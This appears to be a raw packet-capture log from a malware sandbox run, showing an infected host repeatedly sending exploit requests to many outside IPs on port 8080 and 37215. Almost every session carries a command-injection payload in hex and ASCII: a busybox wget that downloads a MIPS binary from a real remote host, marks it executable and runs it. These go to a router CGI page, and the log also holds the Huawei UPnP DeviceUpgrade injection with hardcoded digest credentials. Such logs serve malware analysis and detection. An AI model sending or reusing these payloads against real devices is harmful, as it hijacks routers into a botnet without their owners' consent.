                                                Session IDSource IPSource PortDestination IPDestination Port
                                                662192.168.2.153632231.136.249.698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.698849916 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.272597075 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:42.424576998 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:44.920510054 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:49.528376102 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.744272947 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                663192.168.2.156066094.121.110.2338080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.703591108 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                664192.168.2.155063894.187.118.2558080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.731728077 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                665192.168.2.153315494.120.173.48080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.735646009 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                666192.168.2.155597885.69.37.2368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.879982948 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.432594061 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:42.552576065 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:44.920525074 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:49.528377056 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.488143921 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                667192.168.2.156024294.121.110.318080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.885684013 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                668192.168.2.154008231.44.138.2168080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.895746946 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                669192.168.2.154715485.110.148.888080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.927897930 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                670192.168.2.155062295.214.106.208080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.949830055 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.170427084 CET503INHTTP/1.1 401 Unauthorized
                                                Date: Thu, 23 Nov 2023 04:22:40 GMT
                                                Server: Boa/0.94.14rc21
                                                Accept-Ranges: bytes
                                                Content-encoding: gzip
                                                Connection: close
                                                WWW-Authenticate: Basic realm="WF2409E_RU"
                                                user"
                                                Content-Type: text/html; charset=ISO-8859-1
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /cgi-bin/ViewLog.asp from this server.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                671192.168.2.154829094.122.104.1598080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.954479933 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                672192.168.2.155946694.121.67.2168080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.972064018 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                673192.168.2.1533086156.247.25.21237215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:41.110158920 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:45.176521063 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
